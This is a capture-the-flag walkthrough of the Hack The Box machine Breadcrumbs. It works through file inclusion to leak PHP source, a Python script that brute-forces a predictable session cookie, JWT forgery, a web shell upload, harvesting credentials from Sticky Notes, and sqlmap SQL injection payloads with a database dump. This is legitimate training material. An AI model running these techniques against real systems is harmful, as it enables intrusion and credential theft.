Enumeration

Nmap

PORT     STATE SERVICE       REASON  VERSION
22/tcp   open  ssh           syn-ack OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 9d:d0:b8:81:55:54:ea:0f:89:b1:10:32:33:6a:a7:8f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD1/bmEHFv3nRSf2uH/akLLIfkmpxbSWiVReOdwmJrM2iD9g1gqVHIceIxat222PnYkLHYG23lUQMiTXcvuwBHeB+dMUNv09IHDKCCT9XOTWc+900zrFLRoyR6LQ2O3vQ+JgWpWlvtZAV6FvcSSK3ai767qIdBNG8SAxwwQZlSxX7D/n28VJlPcXXtzoiSt+lQ1T1sq7qIXPM2CyY7qoTLjcvDz/IYqbXbinsLLOCZ9MnRnDbE8E9tLeAJGcxhpNgk0LNN6xGbj49zVhy1TRrVNhh4RD+uczVqufMQIHdCnL61p9ZIepQxhJvwSf4IHH+oaM6wy3Yu0W6pg5wQWXIkj
|   256 1f:2e:67:37:1a:b8:91:1d:5c:31:59:c7:c6:df:14:1d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMPvEspRGrd2/vma82j25vli6C/Td5Gvl44e9IhXeZOlvojawx4tbo/OdBytc+X9b/OSP01kLK4Od62NrQmN39s=
|   256 30:9e:5d:12:e3:c6:b7:c6:3b:7e:1e:e7:89:7e:83:e4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII+TY3313X2GdjXH6r6IrDURWI4H4itbZG41GaktT00D
80/tcp   open  http          syn-ack Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
135/tcp  open  msrpc         syn-ack Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
443/tcp  open  ssl/http      syn-ack Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2009-11-10T23:48:47
| Not valid after:  2019-11-08T23:48:47
| MD5:   a0a4 4cc9 9e84 b26f 9e63 9f9e d229 dee0
| SHA-1: b023 8c54 7a90 5bfa 119c 4e8b acca eacf 3649 1ff6
| -----BEGIN CERTIFICATE-----
| MIIBnzCCAQgCCQC1x1LJh4G1AzANBgkqhkiG9w0BAQUFADAUMRIwEAYDVQQDEwls
| b2NhbGhvc3QwHhcNMDkxMTEwMjM0ODQ3WhcNMTkxMTA4MjM0ODQ3WjAUMRIwEAYD
| VQQDEwlsb2NhbGhvc3QwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMEl0yfj
| 7K0Ng2pt51+adRAj4pCdoGOVjx1BmljVnGOMW3OGkHnMw9ajibh1vB6UfHxu463o
| J1wLxgxq+Q8y/rPEehAjBCspKNSq+bMvZhD4p8HNYMRrKFfjZzv3ns1IItw46kgT
| gDpAl1cMRzVGPXFimu5TnWMOZ3ooyaQ0/xntAgMBAAEwDQYJKoZIhvcNAQEFBQAD
| gYEAavHzSWz5umhfb/MnBMa5DL2VNzS+9whmmpsDGEG+uR0kM1W2GQIdVHHJTyFd
| aHXzgVJBQcWTwhp84nvHSiQTDBSaT6cQNQpvag/TaED/SEQpm0VqDFwpfFYuufBL
| vVNbLkKxbK2XwUvu0RxoLdBMC/89HqrZ0ppiONuQ+X2MtxE=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
445/tcp  open  microsoft-ds? syn-ack
3306/tcp open  mysql?        syn-ack
| mysql-info: 
|_  MySQL Error: Host '10.10.14.4' is not allowed to connect to this MariaDB server
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -1h00m00s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 27986/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 9573/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 55442/udp): CLEAN (Timeout)
|   Check 4 (port 51923/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-07-15T16:56:54
|_  start_date: N/A

Fuzzing The Web Server

┌─[s1gh@fsociety]─[~/Documents/HackTheBox/Machines/Breadcrumbs]
└──╼ $ ffuf -u http://10.10.10.228/FUZZ -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.228/FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

includes                [Status: 301, Size: 339, Words: 22, Lines: 10]
js                      [Status: 301, Size: 333, Words: 22, Lines: 10]
css                     [Status: 301, Size: 334, Words: 22, Lines: 10]
db                      [Status: 301, Size: 333, Words: 22, Lines: 10]
php                     [Status: 301, Size: 334, Words: 22, Lines: 10]
webalizer               [Status: 403, Size: 301, Words: 22, Lines: 10]
phpmyadmin              [Status: 403, Size: 301, Words: 22, Lines: 10]
portal                  [Status: 301, Size: 337, Words: 22, Lines: 10]
books                   [Status: 301, Size: 336, Words: 22, Lines: 10]
licenses                [Status: 403, Size: 420, Words: 37, Lines: 12]

Looking at the web server reveals the following:

We also have a login/sign up form over at /portal:

If we create a user we can login:

Looking around gives us a list of potential users to target, and a few internal tasks:

Trying to access the File management page results in a redirect, so we're not able to upload files.

Leaking PHP Source Code

Looking back at the Library page and sending requests through Burp gives us the following:

What's interesting is the method parameter. What if we send the request to repeater and change the method to 1?

We get an error message saying that an array key called book is not found. We also see a file_get_contents giving a No such file or directory.
So by changing the method to 1 we potentially found a way to trigger a Local File Inclusion vulnerability.

Let's try and include index.php and see if PHP spits out the source code.

We successfully leaked the source code of a PHP file!
Now, let's see what other interesting files we can leak.

login.php

login.php is including authController.php. So let's try and leak the source code of that file.

After a bit of cleanup we're left with the following:

<?php 
require 'db\/db.php';
require \"cookie.php\";
require \"vendor\/autoload.php\";
use \\Firebase\\JWT\\JWT;

$errors = array();
$username = \"\";
$userdata = array();
$valid = false;
$IP = $_SERVER['REMOTE_ADDR'];

\/\/if user clicks on login
if($_SERVER['REQUEST_METHOD'] === \"POST\"){
    if($_POST['method'] == 0){
        $username = $_POST['username'];
        $password = $_POST['password'];
        
        $query = \"SELECT username,position FROM users WHERE username=? LIMIT 1\";
        $stmt = $con->prepare($query);
        $stmt->bind_param('s', $username);
        $stmt->execute();
        $result = $stmt->get_result();
        while ($row = $result->fetch_array(MYSQLI_ASSOC)){
            array_push($userdata, $row);
        }
        $userCount = $result->num_rows;
        $stmt->close();

        if($userCount > 0){
            $password = sha1($password);
            $passwordQuery = \"SELECT * FROM users WHERE password=? AND username=? LIMIT 1\";
            $stmt = $con->prepare($passwordQuery);
            $stmt->bind_param('ss', $password, $username);
            $stmt->execute();
            $result = $stmt->get_result();

            if($result->num_rows > 0){
                $valid = true;
            }
            $stmt->close();
        }

        if($valid){
            session_id(makesession($username));
            session_start();

            $secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';
            $data = array();

            $payload = array(
                \"data\" => array(
                    \"username\" => $username
            ));

            $jwt = JWT::encode($payload, $secret_key, 'HS256');
            
            setcookie(\"token\", $jwt, time() + (86400 * 30), \"\/\");

            $_SESSION['username'] = $username;
            $_SESSION['loggedIn'] = true;
            if($userdata[0]['position'] == \"\"){
                $_SESSION['role'] = \"Awaiting approval\";
            } 
            else{
                $_SESSION['role'] = $userdata[0]['position'];
            }
            
            header(\"Location: \/portal\");
        }

        else{
            $_SESSION['loggedIn'] = false;
            $errors['valid'] = \"Username or Password incorrect\";
        }
    }

    elseif($_POST['method'] == 1){
        $username=$_POST['username'];
        $password=$_POST['password'];
        $passwordConf=$_POST['passwordConf'];
        
        if(empty($username)){
            $errors['username'] = \"Username Required\";
        }
        if(strlen($username) < 4){
            $errors['username'] = \"Username must be at least 4 characters long\";
        }
        if(empty($password)){
            $errors['password'] = \"Password Required\"; 
        }
        if($password !== $passwordConf){
            $errors['passwordConf'] = \"Passwords don't match!\"; 
        }

        $userQuery = \"SELECT * FROM users WHERE username=? LIMIT 1\";
        $stmt = $con->prepare($userQuery);
        $stmt ->bind_param('s',$username);
        $stmt->execute();
        $result = $stmt->get_result();
        $userCount = $result->num_rows;
        $stmt->close();

        if($userCount > 0){
            $errors['username'] = \"Username already exists\";
        }

        if(count($errors) === 0){
            $password = sha1($password);
            $sql = \"INSERT INTO users(username, password, age, position) VALUES (?,?, 0, '')\";
            $stmt = $con->prepare($sql);
            $stmt ->bind_param('ss', $username, $password);

            if ($stmt->execute()){
                $user_id = $con->insert_id;
                header('Location: login.php');
            }
            else{
                $_SESSION['loggedIn'] = false;
                $errors['db_error']=\"Database error: failed to register\";
            }
        }
    }
}"


Looking through the source code reveals a JWT secret. So we're now able to forge a valid JWT.
The file is also including cookie.php. Let's leak that file as well.

cookie.php

After a bit of cleanup:

<?php
 /**
 * @param string $username  Username requesting session cookie
 * 
 * @return string $session_cookie Returns the generated cookie
 * 
 * @devteam
 * Please DO NOT use default PHPSESSID; our security team says they are predictable.
 * CHANGE SECOND PART OF MD5 KEY EVERY WEEK
 * */
function makesession($username){
    $max = strlen($username) - 1;
    $seed = rand(0, $max);
    $key = "s4lTy_stR1nG_".$username[$seed]."(!528./9890";
    $session_cookie = $username.md5($key);

    return $session_cookie;
}

files.php

Remember earlier when we couldn't access the File management page? Let's leak the source code and see exactly what's happening.

Sending the request to File management through Burp reveals that the file is located at /portal/php/files.php.

Leaking the source results in the following:

Looking at the very first PHP line, we see that if we're not the user paul, we are automatically sent back to index.php.

We now have everything we need to forge a valid JWT and create our own session cookie.
We also know that we need to target the user paul.

I just wrote a simple Python script to bruteforce a valid session cookie:

import hashlib
import random
import logging
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

logging.root.setLevel(logging.NOTSET)
urllib3_log = logging.getLogger("urllib3")
urllib3_log.setLevel(logging.CRITICAL)

url = 'https://10.10.10.228/portal'
not_valid_cookie = True

while not_valid_cookie:
	logging.info('Generating new cookie')

	username = "paul"
	seed = random.randint(0, len(username) - 1)
	key = "s4lTy_stR1nG_" + username[seed] + "(!528./9890"
	session_cookie = hashlib.md5(key.encode())

	session_cookie = {'PHPSESSID': username + hashlib.md5(key.encode()).hexdigest()}

	logging.info('Session cookie: {}'.format(session_cookie))

	response = requests.get(url, cookies=session_cookie, verify=False)

	if 'Disabled for economical reasons' in response.text:
		logging.info('Found a valid session cookie for: {}!'.format(username))
		logging.info('Session cookie: {}'.format(session_cookie))
		not_valid_cookie = False
		

Running the script:

┌─[✗]─[s1gh@fsociety]─[~/Documents/HackTheBox/Machines/Breadcrumbs]
└──╼ $ python3 bruteforce_session_cookie.py 
INFO:root:Generating new cookie
INFO:root:Session cookie: {'PHPSESSID': 'paul8c8808867b53c49777fe5559164708c3'}
INFO:root:Generating new cookie
INFO:root:Session cookie: {'PHPSESSID': 'paula2a6a014d3bee04d7df8d5837d62e8c5'}
INFO:root:Generating new cookie
INFO:root:Session cookie: {'PHPSESSID': 'paul61ff9d4aaefe6bdf45681678ba89ff9d'}
INFO:root:Generating new cookie
INFO:root:Session cookie: {'PHPSESSID': 'paul8c8808867b53c49777fe5559164708c3'}
INFO:root:Generating new cookie
INFO:root:Session cookie: {'PHPSESSID': 'paul61ff9d4aaefe6bdf45681678ba89ff9d'}
INFO:root:Generating new cookie
INFO:root:Session cookie: {'PHPSESSID': 'paul61ff9d4aaefe6bdf45681678ba89ff9d'}
INFO:root:Generating new cookie
INFO:root:Session cookie: {'PHPSESSID': 'paul8c8808867b53c49777fe5559164708c3'}
INFO:root:Generating new cookie
INFO:root:Session cookie: {'PHPSESSID': 'paul47200b180ccd6835d25d034eeb6e6390'}
INFO:root:Found a valid session cookie for: paul!
INFO:root:Session cookie: {'PHPSESSID': 'paul47200b180ccd6835d25d034eeb6e6390'}

paul47200b180ccd6835d25d034eeb6e6390 is a valid session cookie for paul!
Let's add that to our browser and try impersonating paul.

We successfully login as paul, but if we try and upload a file we get an error message:

We still need to forge a valid JWT.
Decoding the current JWT reveals why we get an error message:

{
  "data": {
    "username": "s1gh"
  }
}

We can use jwt.io to forge a valid JWT using the secret we leaked earlier.

Now, let's add that token to our web browser and try uploading something.

We have successfully forged the JWT and session cookie, and can finally upload files.

Initial Foothold

Let's upload a "fake" .zip file, send the request through Burp and upload a PHP shell.

Browsing to /portal/uploads/shell.php now gives us code execution:

Looking around the file system I find a pizzaDeliveryUserData in the web directory.
Here we find a .json file containing a username and password.

Using these credentials we are able to login to SSH as juliette:

┌─[s1gh@fsociety]─[~/Breadcrumbs]
└──╼ $ ssh juliette@10.10.10.228
juliette@10.10.10.228's password:
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved. 

juliette@BREADCRUMBS C:\Users\juliette>

Here we also find the user flag:

juliette@BREADCRUMBS C:\Users\juliette\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is 7C07-CD3A

 Directory of C:\Users\juliette\Desktop

01/15/2021  05:04 PM    <DIR>          .
01/15/2021  05:04 PM    <DIR>          ..
12/09/2020  07:27 AM               753 todo.html
07/14/2021  08:19 PM                34 user.txt
               2 File(s)            787 bytes
               2 Dir(s)   5,482,467,328 bytes free

juliette@BREADCRUMBS C:\Users\juliette\Desktop>type user.txt
80bb799077cd87b7c7285180ed911989

Checking out C:\ we find a Development directory that we can't access.

juliette@BREADCRUMBS C:\>dir
 Volume in drive C has no label.
 Volume Serial Number is 7C07-CD3A

 Directory of C:\

01/15/2021  05:03 PM    <DIR>          Anouncements       
01/15/2021  05:03 PM    <DIR>          Development        
12/07/2019  02:14 AM    <DIR>          PerfLogs
02/01/2021  08:50 AM    <DIR>          Program Files      
12/07/2019  02:54 AM    <DIR>          Program Files (x86)
01/17/2021  02:41 AM    <DIR>          Users
02/01/2021  02:10 AM    <DIR>          Windows
               0 File(s)              0 bytes
               7 Dir(s)   5,477,453,824 bytes free        

juliette@BREADCRUMBS C:\>cd Development
Access is denied.

Privilege Escalation

Looking again at the Desktop for the user juliettewe find a todo.html:

juliette@BREADCRUMBS C:\Users\juliette\Desktop>type todo.html
<html>
<style>
html{
background:black;
color:orange;
}
table,th,td{
border:1px solid orange;
padding:1em;
border-collapse:collapse;
}
</style>
<table>
        <tr>
            <th>Task</th>
            <th>Status</th>
            <th>Reason</th>
        </tr>
        <tr>
            <td>Configure firewall for port 22 and 445</td>
            <td>Not started</td>
            <td>Unauthorized access might be possible</td>
        </tr>
        <tr>
            <td>Migrate passwords from the Microsoft Store Sticky Notes application to our new password manager</td>
            <td>In progress</td>
            <td>It stores passwords in plain text</td>
        </tr>
        <tr>
            <td>Add new features to password manager</td>
            <td>Not started</td>
            <td>To get promoted, hopefully lol</td>
        </tr>
</table>

</html>

She mentions migrating passwords from the Microsoft Store Sticky Notes. Maybe they contain a new set of credentials?

These are stored here: <user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite

After we download this file to our local machine, we can easily parse the database using stickynoteparser.py, or simply use strings. I decided to use stickynoteparser.py:

┌─[s1gh@fsociety]─[~/Breadcrumbs]
└──╼ $ python3 stickynoteparse.py -p plum.sqlite
**********
plum.sqlite
**********
{
    "Note": [
        {
            "Text": "\\id=48c70e58-fcf9-475a-aea4-24ce19a9f9ec juliette: jUli901./())!\n\\id=fc0d8d70-055d-4870-a5de-d76943a68ea2 development: fN3)sN5Ee@g\n\\id=48924119-7212-4b01-9e0f-ae6d678d49b2 administrator: [MOVED]",
            "WindowPosition": "ManagedPosition=",
            "IsOpen": 1,
            "IsAlwaysOnTop": 0,
            "CreationNoteIdAnchor": null,
            "Theme": "Yellow",
            "IsFutureNote": 0,
            "RemoteId": null,
            "ChangeKey": null,
            "LastServerVersion": null,
            "RemoteSchemaVersion": null,
            "IsRemoteDataInvalid": null,
            "Type": null,
            "Id": "0c32c3d8-7c60-48ae-939e-798df198cfe7",
            "ParentId": "8e814e57-9d28-4288-961c-31c806338c5b",
            "CreatedAt": 637423162765765332,
            "DeletedAt": null,
            "UpdatedAt": 637423163995607122
        }
    ],
    "Stroke": [],
    "StrokeMetadata": [],
    "User": [
        {
            "Type": null,
            "Id": "8e814e57-9d28-4288-961c-31c806338c5b",
            "ParentId": "8e814e57-9d28-4288-961c-31c806338c5b",
            "CreatedAt": 637422450113001719,
            "DeletedAt": null,
            "UpdatedAt": 637422450113001719
        }
    ],
    "SyncState": [],
    "UpgradedNote": [],
    "Media": []
}

Here we find credentials for the development user:
development:fN3)sN5Ee@g

We can now login to SSH as development:

┌─[s1gh@fsociety]─[~/Breadcrumbs]
└──╼ $ ssh development@10.10.10.228
development@10.10.10.228's password:
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved. 

development@BREADCRUMBS C:\Users\development>

Checking out the Development directory we couldn't access earlier:

development@BREADCRUMBS C:\Users\development>cd \development

development@BREADCRUMBS C:\Development>dir
 Volume in drive C has no label.
 Volume Serial Number is 7C07-CD3A

 Directory of C:\Development

01/15/2021  05:03 PM    <DIR>          .
01/15/2021  05:03 PM    <DIR>          ..
11/29/2020  04:11 AM            18,312 Krypter_Linux
               1 File(s)         18,312 bytes       
               2 Dir(s)   5,477,597,184 bytes free

Downloading this file to our local machine and doing a simple strings check gives us the following:

┌─[s1gh@fsociety]─[~/Documents/HackTheBox/Machines/Breadcrumbs]
└──╼ $ strings -n 10 Krypter_Linux
/lib64/ld-linux-x86-64.so.2
libcurl.so.4
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
curl_easy_cleanup
curl_easy_init
curl_easy_setopt
curl_easy_perform
libstdc++.so.6
_ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev
_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_
_ZNSt8ios_base4InitD1Ev
_ZNSolsEPFRSoS_E
__gxx_personality_v0
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6appendEPKcm
_ZNSt8ios_base4InitC1Ev
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev
libgcc_s.so.1
_Unwind_Resume
__cxa_atexit
__cxa_finalize
__libc_start_main
CXXABI_1.3
GLIBCXX_3.4
GLIBCXX_3.4.21
GLIBC_2.2.5
CURL_OPENSSL_4
[]A\A]A^A_
Krypter V1.2
New project by Juliette.
New features added weekly!
What to expect next update:
        - Windows version with GUI support
        - Get password from cloud and AUTOMATICALLY decrypt!
Requesting decryption key from cloud...
Account: Administrator
http://passmanager.htb:1234/index.php
method=select&username=administrator&table=passwords 
Server response:
Incorrect master key

Looks like we found a new URL: http://passmanager.htb:1234/index.php method=select&username=administrator&table=passwords

When trying to access the URL on port 1234 we aren't getting a response.
As the developmentuser we check if port 1234 is open:

development@BREADCRUMBS C:\Users\development>netstat -ano | findstr :1234
  TCP    127.0.0.1:1234         0.0.0.0:0              LISTENING       2796

Port 1234 is only listening on 127.0.0.1, so we are unable to access that port from the outside.
But since we have SSH access we can simply port forward and use a SSH tunnel.

┌─[✗]─[s1gh@fsociety]─[~/Breadcrumbs]
└──╼ $ ssh development@10.10.10.228 -L :1234:127.0.0.1:1234
development@10.10.10.228's password:
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved. 

development@BREADCRUMBS C:\Users\development>
┌─[s1gh@fsociety]─[~/Breadcrumbs]
└──╼ $ curl '127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords'
selectarray(1) {
  [0]=>
  array(1) {
    ["aes_key"]=>
    string(16) "k19D193j.<19391("
  }
}

We are now able to access the server, even though it's only listening on localhost!

Let's throw SQLMap at the url and see what we get.

┌─[s1gh@fsociety]─[~/Documents/HackTheBox/Machines/Breadcrumbs]
└──╼ $ sqlmap -u '127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords' --batch
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.5.3#stable}
|_ -| . ["]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:27:54 /2021-07-15/

[22:27:54] [INFO] resuming back-end DBMS 'mysql' 
[22:27:54] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: method=select&username=administrator' AND 5556=5556 AND 'HaIU'='HaIU&table=passwords

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: method=select&username=administrator' AND (SELECT 6616 FROM (SELECT(SLEEP(5)))pctj) AND 'uLNJ'='uLNJ&table=passwords

    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: method=select&username=administrator' UNION ALL SELECT CONCAT(0x71766a7171,0x62585959767444796d47796b77426a736d53464647434e6957746c4f6c414749686554676b624178,0x7176707671)-- -&table=passwords
---
[22:27:54] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.46, PHP 8.0.1
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

The website is vulnerable to SQL Injection!
Let's dump the database.

┌─[s1gh@fsociety]─[~/Documents/HackTheBox/Machines/Breadcrumbs]
└──╼ $ sqlmap -u '127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords' --batch --dump
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.5.3#stable}
|_ -| . [)]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:28:44 /2021-07-15/

[22:28:44] [INFO] resuming back-end DBMS 'mysql'
[22:28:44] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: method=select&username=administrator' AND 5556=5556 AND 'HaIU'='HaIU&table=passwords

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: method=select&username=administrator' AND (SELECT 6616 FROM (SELECT(SLEEP(5)))pctj) AND 'uLNJ'='uLNJ&table=passwords

    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: method=select&username=administrator' UNION ALL SELECT CONCAT(0x71766a7171,0x62585959767444796d47796b77426a736d53464647434e6957746c4f6c414749686554676b624178,0x7176707671)-- -&table=passwords
---
[22:28:44] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.46, PHP 8.0.1
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[22:28:44] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[22:28:44] [INFO] fetching current database
[22:28:44] [INFO] fetching tables for database: 'bread'
[22:28:45] [INFO] fetching columns for table 'passwords' in database 'bread'
[22:28:45] [INFO] fetching entries for table 'passwords' in database 'bread'
[22:28:45] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[22:28:45] [INFO] using hash method 'sha256_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[22:28:45] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[22:28:45] [INFO] starting dictionary-based cracking (sha256_generic_passwd)
[22:28:45] [INFO] starting 8 processes
[22:28:49] [WARNING] no clear password(s) found
Database: bread
Table: passwords
[1 entry]
+----+---------------+------------------+----------------------------------------------+
| id | account       | aes_key          | password                                     |
+----+---------------+------------------+----------------------------------------------+
| 1  | Administrator | k19D193j.<19391( | H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw= |
+----+---------------+------------------+----------------------------------------------+

We have an AES key and an encrypted password. We can use Cyber Chef to decrypt the password, using an IV of all zeroes.

We can finally login as Administrator and get the root flag.

┌─[✗]─[s1gh@fsociety]─[~/Documents/HackTheBox/Machines/Breadcrumbs]
└──╼ $ ssh administrator@10.10.10.228
administrator@10.10.10.228's password: 
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved. 

administrator@BREADCRUMBS C:\Users\Administrator>cd desktop

administrator@BREADCRUMBS C:\Users\Administrator\Desktop>type root.txt
7249cedb1bba28daed9e1eba6e8d170c